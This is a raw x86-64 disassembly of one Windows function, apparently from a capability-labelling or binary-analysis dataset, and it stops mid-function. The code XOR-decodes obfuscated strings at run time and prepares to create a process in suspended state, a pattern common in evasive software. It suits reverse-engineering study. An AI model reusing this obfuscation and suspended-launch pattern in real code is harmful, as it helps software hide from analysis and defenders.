Function at 0x140004be0
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x398]
sub rsp, 0x498
mov rax, qword [0x1400da190]
xor rax, rsp
mov qword [rbp + 0x380], rax
mov r13, r9
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], rdx
mov r14, rcx
mov qword [rbp - 0x40], rcx
mov qword [rbp + 0xb0], rdx
mov qword [rbp + 0xb8], r8
mov qword [rbp + 0xc0], r9
mov rax, qword [rbp + 0x400]
mov qword [rbp - 0x48], rax
mov qword [rbp + 0xc8], rax
xor r12d, r12d
mov dword [rbp - 0x50], r12d
mov rsi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x1400ba140]
mov dword [rbp + 0x1b0], 0xad46dd34
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x51c
mov eax, dword [rcx + rdi]
mov ebx, 0x298
add rbx, rdi
test al, 1
jne 0x140004cdd
or eax, 1
mov dword [rcx + rdi], eax
mov byte [rbx + 0x15], 1
lea rax, [rbx + 0x14]
lea rcx, [rbp + 0x1b4]
cmp rbx, rcx
ja 0x140004cc0
lea rcx, [rbp + 0x1a0]
cmp rax, rcx
jb 0x140004cc0
movups xmmword [rbx], xmm0
mov eax, dword [rbp + 0x1b0]
mov dword [rbx + 0x10], eax
mov byte [rbx + 0x14], 0xa5
jmp 0x140004cd0
movups xmmword [rbx], xmm0
mov eax, dword [rbp + 0x1b0]
mov dword [rbx + 0x10], eax
mov byte [rbx + 0x14], 0xa5
lea rcx, [0x1400a8ca0]
call fcn.140093de0
nop
cmp byte [rbx + 0x15], 0
je 0x140004d3a
xor byte [rbx], 0x5d
xor byte [rbx + 1], 0xa5
xor byte [rbx + 2], 0x2f
xor byte [rbx + 3], 0xdf
xor byte [rbx + 4], 0xa5
xor byte [rbx + 5], 0xd3
xor byte [rbx + 6], 0x63
xor byte [rbx + 7], 0xdb
xor byte [rbx + 8], 0x5d
xor byte [rbx + 9], 0xa5
xor byte [rbx + 0xa], 0x2f
xor byte [rbx + 0xb], 0xdf
xor byte [rbx + 0xc], 0xa5
xor byte [rbx + 0xd], 0xd3
xor byte [rbx + 0xe], 0x63
xor byte [rbx + 0xf], 0xdb
xor byte [rbx + 0x10], 0x5d
xor byte [rbx + 0x11], 0xa5
xor byte [rbx + 0x12], 0x2f
xor byte [rbx + 0x13], 0xdf
xor byte [rbx + 0x14], 0xa5
mov byte [rbx + 0x15], 0
mov rdx, rbx
mov rcx, rsi
call fcn.140009130
lea rdx, [0x140009300]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3b0
mov eax, dword [rcx + rdi]
mov edx, 0x250
test al, 1
jne 0x140004d96
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov word [rbx + 9], 0x143
mov dword [rbx], 0xcad2228e
mov dword [rbx + 4], 0x21b4bdce
mov byte [rbx + 8], 0x81
lea rcx, [0x1400a8c80]
call fcn.140093de0
nop
jmp 0x140004d9a
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xa], 0
je 0x140004dcb
xor byte [rbx], 0xe9
xor byte [rbx + 1], 0x43
xor byte [rbx + 2], 0xbf
xor byte [rbx + 3], 0xaf
xor byte [rbx + 4], 0x91
xor byte [rbx + 5], 0xcd
xor byte [rbx + 6], 0xd5
xor byte [rbx + 7], 0x55
xor byte [rbx + 8], 0xe9
xor byte [rbx + 9], 0x43
mov byte [rbx + 0xa], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x140004de4
mov rdx, rbx
lea rcx, [rbp - 0x70]
call fcn.140009a30
nop
lea rdx, [rbp - 0x70]
mov rcx, r14
call fcn.140006f90
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
mov r15, r12
mov qword [rbp + 0x120], r12
mov ebx, 0xf
mov qword [rsp + 0x50], rbx
mov qword [rbp + 0x128], rbx
mov byte [rbp + 0x110], r15b
mov dword [rbp - 0x50], 4
cmp byte [rax], 3
jne 0x140006d0a
mov rdx, qword [rax + 8]
lea rax, [rbp + 0x110]
cmp rax, rdx
je 0x140004e81
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140004e62
mov rdx, qword [rdx]
lea rcx, [rbp + 0x110]
call fcn.140008340
mov rbx, qword [rbp + 0x128]
mov qword [rsp + 0x50], rbx
mov r15, qword [rbp + 0x120]
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140004ebc
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004eb7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006517
call fcn.140093d04
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], r12
lea r14, [rbp + 0x110]
mov r12, qword [rbp + 0x110]
cmp rbx, 0x10
cmovae r14, r12
movabs rbx, 0x7fffffffffffffff
cmp r15, rbx
ja 0x140006d50
mov qword [rbp + 0xe8], 0xf
cmp r15, 0x10
jae 0x140004f25
mov qword [rbp + 0xe0], r15
movups xmm0, xmmword [r14]
movups xmmword [rbp + 0xd0], xmm0
jmp 0x140004fb6
mov rax, r15
or rax, 0xf
cmp rax, rbx
ja 0x140004f40
mov rbx, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rbx, rcx
mov rcx, rbx
add rcx, 1
cmovb rcx, rsi
cmp rcx, 0x1000
jb 0x140004f83
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140006d56
mov rcx, rax
call fcn.1400939a0
mov rcx, rax
test rax, rax
je 0x140006517
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140004f91
test rcx, rcx
je 0x140004f8f
call fcn.1400939a0
jmp 0x140004f91
xor eax, eax
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xe8], rbx
lea r8, [r15 + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
call fcn.140006da0
mov rcx, rax
call fcn.140007e20
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140004fc6
mov rdx, rcx
lea rcx, [rbp + 0xd0]
call fcn.1400084a0
movdqa xmm0, xmmword [0x1400b9c30]
mov word [rbp + 0x1e0], 0x7aa7
mov ecx, 0x1b4
mov eax, dword [rcx + rdi]
mov edx, 0x3b8
test al, 1
jne 0x140005060
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x13], 1
lea rax, [rbx + 0x12]
lea rcx, [rbp + 0x1e2]
cmp rbx, rcx
ja 0x14000503f
lea rcx, [rbp + 0x1d0]
cmp rax, rcx
jb 0x14000503f
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x1e0]
mov word [rbx + 0x10], ax
mov byte [rbx + 0x12], 0x7d
jmp 0x140005051
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x1e0]
mov word [rbx + 0x10], ax
mov byte [rbx + 0x12], 0x7d
lea rcx, [0x1400a8c20]
call fcn.140093de0
nop
jmp 0x140005064
lea rbx, [rdx + rdi]
cmp byte [rbx + 0x13], 0
je 0x1400050b9
xor byte [rbx], 0xd3
xor byte [rbx + 1], 0x1f
xor byte [rbx + 2], 0x7d
xor byte [rbx + 3], 0xa3
xor byte [rbx + 4], 0xbd
xor byte [rbx + 5], 0xf1
xor byte [rbx + 6], 0x4f
xor byte [rbx + 7], 0xfd
xor byte [rbx + 8], 0xd3
xor byte [rbx + 9], 0x1f
xor byte [rbx + 0xa], 0x7d
xor byte [rbx + 0xb], 0xa3
xor byte [rbx + 0xc], 0xbd
xor byte [rbx + 0xd], 0xf1
xor byte [rbx + 0xe], 0x4f
xor byte [rbx + 0xf], 0xfd
xor byte [rbx + 0x10], 0xd3
xor byte [rbx + 0x11], 0x1f
xor byte [rbx + 0x12], 0x7d
mov byte [rbx + 0x13], 0
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x1400050c0
mov rdx, rbx
lea rcx, [rbp + 0xd0]
call fcn.1400084a0
mov ecx, 0x1f8
mov eax, dword [rcx + rdi]
mov edx, 0x1e8
test al, 1
jne 0x14000511e
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov dword [rbx + 0xc], 0x1091d0e
mov dword [rbx], 0xff2674ed
mov dword [rbx + 4], 0xef6c1a08
mov dword [rbx + 8], 0xfd1364bb
lea rcx, [0x1400a8bf0]
call fcn.140093de0
nop
jmp 0x140005122
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xf], 0
je 0x140005167
xor byte [rbx], 0xcd
xor byte [rbx + 1], 0x59
xor byte [rbx + 2], 0x43
xor byte [rbx + 3], 0x8f
xor byte [rbx + 4], 0x61
xor byte [rbx + 5], 0x79
xor byte [rbx + 6], 9
xor byte [rbx + 7], 0x81
xor byte [rbx + 8], 0xcd
xor byte [rbx + 9], 0x59
xor byte [rbx + 0xa], 0x43
xor byte [rbx + 0xb], 0x8f
xor byte [rbx + 0xc], 0x61
xor byte [rbx + 0xd], 0x79
xor byte [rbx + 0xe], 9
mov byte [rbx + 0xf], 0
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140005170
mov rdx, rbx
lea rcx, [rbp + 0xd0]
call fcn.1400084a0
mov ecx, 0x1a4
mov eax, dword [rcx + rdi]
mov edx, 0x1c0
test al, 1
jne 0x1400051cd
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov dword [rbx + 0xa], 0x1c569fa
mov dword [rbx], 0x75defa35
mov dword [rbx + 4], 0x4e6fc6ac
mov word [rbx + 8], 0xa367
lea rcx, [0x1400a8bd0]
call fcn.140093de0
nop
jmp 0x1400051d1
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xd], 0
je 0x14000520e
xor byte [rbx], 0x15
xor byte [rbx + 1], 0xd7
xor byte [rbx + 2], 0x9b
xor byte [rbx + 3], 5
xor byte [rbx + 4], 0xc5
xor byte [rbx + 5], 0xa5
xor byte [rbx + 6], 0x3f
xor byte [rbx + 7], 0x21
xor byte [rbx + 8], 0x15
xor byte [rbx + 9], 0xd7
xor byte [rbx + 0xa], 0x9b
xor byte [rbx + 0xb], 5
xor byte [rbx + 0xc], 0xc5
mov byte [rbx + 0xd], 0
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x140005211
mov rdx, rbx
lea rcx, [rbp + 0xd0]
call fcn.1400084a0
mov ecx, 0x1a0
mov eax, dword [rcx + rdi]
mov edx, 0x2b0
test al, 1
jne 0x140005272
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov word [rbx + 0xd], 0x177
mov dword [rbx], 0x613a187b
mov dword [rbx + 4], 0x480014b2
mov dword [rbx + 8], 0x7536473e
mov byte [rbx + 0xc], 0xe6
lea rcx, [0x1400a8bb0]
call fcn.140093de0
nop
jmp 0x140005276
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xe], 0
je 0x1400052b7
xor byte [rbx], 0x5b
xor byte [rbx + 1], 0x35
xor byte [rbx + 2], 0x5f
xor byte [rbx + 3], 0x11
xor byte [rbx + 4], 0xdb
xor byte [rbx + 5], 0x77
xor byte [rbx + 6], 0x75
xor byte [rbx + 7], 0x3b
xor byte [rbx + 8], 0x5b
xor byte [rbx + 9], 0x35
xor byte [rbx + 0xa], 0x5f
xor byte [rbx + 0xb], 0x11
xor byte [rbx + 0xc], 0xdb
xor byte [rbx + 0xd], 0x77
mov byte [rbx + 0xe], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x70], xmm1
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x1400052d0
mov rdx, rbx
lea rcx, [rbp + 0x60]
call fcn.140009a30
nop
mov r14, qword [rsp + 0x60]
mov rdx, r14
cmp qword [r14 + 0x18], 0x10
jb 0x1400052f9
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
lea rcx, [rbp + 0x60]
call fcn.1400084a0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
xor edi, edi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
lea rdx, [rsp + 0x70]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 0xd0]
call fcn.1400084a0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140005399
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005393
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005393
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x1400053d7
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400053d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400053d2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x30c
mov eax, dword [rdx + rcx]
mov ebx, 0x200
add rbx, rcx
test al, 1
jne 0x140005428
or eax, 1
mov dword [rdx + rcx], eax
mov word [rbx + 0xd], 0x141
mov dword [rbx], 0x582a0861
mov dword [rbx + 4], 0xe1260945
mov dword [rbx + 8], 0x4322620e
mov byte [rbx + 0xc], 0x2c
lea rcx, [0x1400a8b90]
call fcn.140093de0
nop
cmp byte [rbx + 0xe], 0
je 0x140005469
xor byte [rbx], 0x41
xor byte [rbx + 1], 0x25
xor byte [rbx + 2], 0x6b
xor byte [rbx + 3], 0xd
xor byte [rbx + 4], 0x11
xor byte [rbx + 5], 0x41
xor byte [rbx + 6], 0x79
xor byte [rbx + 7], 0xad
xor byte [rbx + 8], 0x41
xor byte [rbx + 9], 0x25
xor byte [rbx + 0xa], 0x6b
xor byte [rbx + 0xb], 0xd
xor byte [rbx + 0xc], 0x11
xor byte [rbx + 0xd], 0x41
mov byte [rbx + 0xe], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x50], xmm1
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140005480
mov rdx, rbx
lea rcx, [rbp + 0x40]
call fcn.140009a30
nop
mov rdx, r13
cmp qword [r13 + 0x18], 0x10
jb 0x1400054a5
mov rdx, qword [r13]
mov r8, qword [r13 + 0x10]
lea rcx, [rbp + 0x40]
call fcn.1400084a0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x70]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 0xd0]
call fcn.1400084a0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140005543
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000553d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000553d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x140005581
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000557c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000557c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
movdqa xmm0, xmmword [0x1400b9d90]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x310
mov eax, dword [rdx + rcx]
mov ebx, 0x528
add rbx, rcx
test al, 1
jne 0x1400055ec
or eax, 1
mov dword [rdx + rcx], eax
mov byte [rbx + 0x11], 1
lea rax, [rbx + 0x10]
lea rcx, [rbp + 0x298]
cmp rbx, rcx
ja 0x1400055d8
lea rcx, [rbp + 0x288]
cmp rax, rcx
jb 0x1400055d8
movups xmmword [rbx], xmm0
mov byte [rbx + 0x10], 0x27
jmp 0x1400055df
movups xmmword [rbx], xmm0
mov byte [rbx + 0x10], 0x27
lea rcx, [0x1400a8b70]
call fcn.140093de0
nop
cmp byte [rbx + 0x11], 0
je 0x140005639
xor byte [rbx], 0x27
xor byte [rbx + 1], 9
xor byte [rbx + 2], 0x39
xor byte [rbx + 3], 0xdf
xor byte [rbx + 4], 0x6f
xor byte [rbx + 5], 0xe3
xor byte [rbx + 6], 0x3f
xor byte [rbx + 7], 0x9d
xor byte [rbx + 8], 0x27
xor byte [rbx + 9], 9
xor byte [rbx + 0xa], 0x39
xor byte [rbx + 0xb], 0xdf
xor byte [rbx + 0xc], 0x6f
xor byte [rbx + 0xd], 0xe3
xor byte [rbx + 0xe], 0x3f
xor byte [rbx + 0xf], 0x9d
xor byte [rbx + 0x10], 0x27
mov byte [rbx + 0x11], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140005650
mov rdx, rbx
lea rcx, [rbp - 0x18]
call fcn.140009a30
nop
mov rax, qword [rbp - 0x48]
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140005678
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x18]
call fcn.1400084a0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x70]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 0xd0]
call fcn.1400084a0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140005716
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005710
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005710
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
nop
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x140005754
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000574f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000574f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
movdqa xmm0, xmmword [0x1400b94b0]
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x4f4
mov eax, dword [rcx + rdi]
mov ebx, 0x460
add rbx, rdi
test al, 1
jne 0x1400057bf
or eax, 1
mov dword [rcx + rdi], eax
mov byte [rbx + 0x11], 1
lea rax, [rbx + 0x10]
lea rcx, [rbp + 0x280]
cmp rbx, rcx
ja 0x1400057ab
lea rcx, [rbp + 0x270]
cmp rax, rcx
jb 0x1400057ab
movups xmmword [rbx], xmm0
mov byte [rbx + 0x10], 0x33
jmp 0x1400057b2
movups xmmword [rbx], xmm0
mov byte [rbx + 0x10], 0x33
lea rcx, [0x1400a8b50]
call fcn.140093de0
nop
cmp byte [rbx + 0x11], 0
je 0x14000580c
xor byte [rbx], 0x33
xor byte [rbx + 1], 5
xor byte [rbx + 2], 0x4b
xor byte [rbx + 3], 0x87
xor byte [rbx + 4], 0x21
xor byte [rbx + 5], 9
xor byte [rbx + 6], 7
xor byte [rbx + 7], 0x31
xor byte [rbx + 8], 0x33
xor byte [rbx + 9], 5
xor byte [rbx + 0xa], 0x4b
xor byte [rbx + 0xb], 0x87
xor byte [rbx + 0xc], 0x21
xor byte [rbx + 0xd], 9
xor byte [rbx + 0xe], 7
xor byte [rbx + 0xf], 0x31
xor byte [rbx + 0x10], 0x33
mov byte [rbx + 0x11], 0
mov r8, rsi
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x140005810
mov rdx, rbx
lea rcx, [rbp + 0xd0]
call fcn.1400084a0
mov ecx, 0x1d0
mov eax, dword [rcx + rdi]
mov edx, 0x340
test al, 1
jne 0x140005870
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov word [rbx + 0xb], 0x1e9
mov dword [rbx], 0x9b25d633
mov dword [rbx + 4], 0xcd4946dc
mov word [rbx + 8], 0x992e
mov byte [rbx + 0xa], 0x26
lea rcx, [0x1400a8b30]
call fcn.140093de0
nop
jmp 0x140005874
lea rbx, [rdi + rdx]
cmp byte [rbx + 0xc], 0
je 0x1400058ad
xor byte [rbx], 0x13
xor byte [rbx + 1], 0xfb
xor byte [rbx + 2], 0x43
xor byte [rbx + 3], 0xe9
xor byte [rbx + 4], 0xb3
xor byte [rbx + 5], 0x2b
xor byte [rbx + 6], 0x2f
xor byte [rbx + 7], 0xa1
xor byte [rbx + 8], 0x13
xor byte [rbx + 9], 0xfb
xor byte [rbx + 0xa], 0x43
xor byte [rbx + 0xb], 0xe9
mov byte [rbx + 0xc], 0
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x1400058b0
mov rdx, rbx
lea rcx, [rbp + 0xd0]
call fcn.1400084a0
movdqa xmm0, xmmword [0x1400ba8b0]
movdqa xmm1, xmmword [0x1400ba940]
mov word [rbp + 0x230], 0xaf83
mov ecx, 0x1b0
mov eax, dword [rcx + rdi]
mov edx, 0x3d0
test al, 1
jne 0x14000595a
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x23], 1
lea rax, [rbx + 0x22]
lea rcx, [rbp + 0x232]
cmp rbx, rcx
ja 0x140005935
lea rcx, [rbp + 0x210]
cmp rax, rcx
jb 0x140005935
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movzx eax, word [rbp + 0x230]
mov word [rbx + 0x20], ax
mov byte [rbx + 0x22], 0x7b
jmp 0x14000594b
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movzx eax, word [rbp + 0x230]
mov word [rbx + 0x20], ax
mov byte [rbx + 0x22], 0x7b
lea rcx, [0x1400a8b00]
call fcn.140093de0
nop
jmp 0x14000595e
lea rbx, [rdi + rdx]
cmp byte [rbx + 0x23], 0
je 0x1400059f7
xor byte [rbx], 0xb1
xor byte [rbx + 1], 0x9d
xor byte [rbx + 2], 0x7b
xor byte [rbx + 3], 0x37
xor byte [rbx + 4], 0x89
xor byte [rbx + 5], 0xfb
xor byte [rbx + 6], 0x8f
xor byte [rbx + 7], 0xcf
xor byte [rbx + 8], 0xb1
xor byte [rbx + 9], 0x9d
xor byte [rbx + 0xa], 0x7b
xor byte [rbx + 0xb], 0x37
xor byte [rbx + 0xc], 0x89
xor byte [rbx + 0xd], 0xfb
xor byte [rbx + 0xe], 0x8f
xor byte [rbx + 0xf], 0xcf
xor byte [rbx + 0x10], 0xb1
xor byte [rbx + 0x11], 0x9d
xor byte [rbx + 0x12], 0x7b
xor byte [rbx + 0x13], 0x37
xor byte [rbx + 0x14], 0x89
xor byte [rbx + 0x15], 0xfb
xor byte [rbx + 0x16], 0x8f
xor byte [rbx + 0x17], 0xcf
xor byte [rbx + 0x18], 0xb1
xor byte [rbx + 0x19], 0x9d
xor byte [rbx + 0x1a], 0x7b
xor byte [rbx + 0x1b], 0x37
xor byte [rbx + 0x1c], 0x89
xor byte [rbx + 0x1d], 0xfb
xor byte [rbx + 0x1e], 0x8f
xor byte [rbx + 0x1f], 0xcf
xor byte [rbx + 0x20], 0xb1
xor byte [rbx + 0x21], 0x9d
xor byte [rbx + 0x22], 0x7b
mov byte [rbx + 0x23], 0
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140005a00
mov rdx, rbx
lea rcx, [rbp + 0xd0]
call fcn.1400084a0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x314], xmm0
movups xmmword [rbp + 0x324], xmm0
movups xmmword [rbp + 0x334], xmm0
movups xmmword [rbp + 0x344], xmm0
movups xmmword [rbp + 0x354], xmm0
movups xmmword [rbp + 0x364], xmm0
mov dword [rbp + 0x374], eax
mov dword [rbp + 0x310], 0x68
movups xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0xa8], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x2a4], xmm1
movups xmmword [rbp + 0x2b4], xmm1
movups xmmword [rbp + 0x2c4], xmm1
movups xmmword [rbp + 0x2d4], xmm1
movups xmmword [rbp + 0x2e4], xmm1
movups xmmword [rbp + 0x2f4], xmm1
mov dword [rbp + 0x304], eax
mov dword [rbp + 0x2a0], 0x68
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], rax
movdqa xmm0, xmmword [0x1400b9810]
mov dword [rbp + 0x198], 0xea55a03c
mov dword [rbp + 0x19c], 0x711e25d
mov ecx, 0x448
mov eax, dword [rcx + rdi]
mov edx, 0x2f0
test al, 1
jne 0x140005b39
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x18], 1
lea rax, [rbx + 0x17]
lea rcx, [rbp + 0x19f]
cmp rbx, rcx
ja 0x140005b1a
lea rcx, [rbp + 0x188]
cmp rax, rcx
jb 0x140005b1a
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x198]
movsd qword [rbx + 0x10], xmm0
jmp 0x140005b2a
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x198]
movsd qword [rbx + 0x10], xmm0
lea rcx, [0x1400a8ae0]
call fcn.140093de0
nop
jmp 0x140005b3d
lea rbx, [rdi + rdx]
cmp byte [rbx + 0x18], 0
je 0x140005ba6
xor byte [rbx], 0x5d
xor byte [rbx + 1], 0xd5
xor byte [rbx + 2], 0x3b
xor byte [rbx + 3], 0x89
xor byte [rbx + 4], 0x35
xor byte [rbx + 5], 0x87
xor byte [rbx + 6], 0x63
xor byte [rbx + 7], 7
xor byte [rbx + 8], 0x5d
xor byte [rbx + 9], 0xd5
xor byte [rbx + 0xa], 0x3b
xor byte [rbx + 0xb], 0x89
xor byte [rbx + 0xc], 0x35
xor byte [rbx + 0xd], 0x87
xor byte [rbx + 0xe], 0x63
xor byte [rbx + 0xf], 7
xor byte [rbx + 0x10], 0x5d
xor byte [rbx + 0x11], 0xd5
xor byte [rbx + 0x12], 0x3b
xor byte [rbx + 0x13], 0x89
xor byte [rbx + 0x14], 0x35
xor byte [rbx + 0x15], 0x87
xor byte [rbx + 0x16], 0x63
xor byte [rbx + 0x17], 7
mov byte [rbx + 0x18], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140005bc0
mov rdx, rbx
lea rcx, [rbp - 0x18]
call fcn.140009a30
nop
lea rdx, [rbp - 0x18]
mov rcx, qword [rbp - 0x40]
call fcn.140006f90
cmp byte [rax], 4
jne 0x140006d5c
movzx ebx, byte [rax + 8]
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x140005c2c
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005c27
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
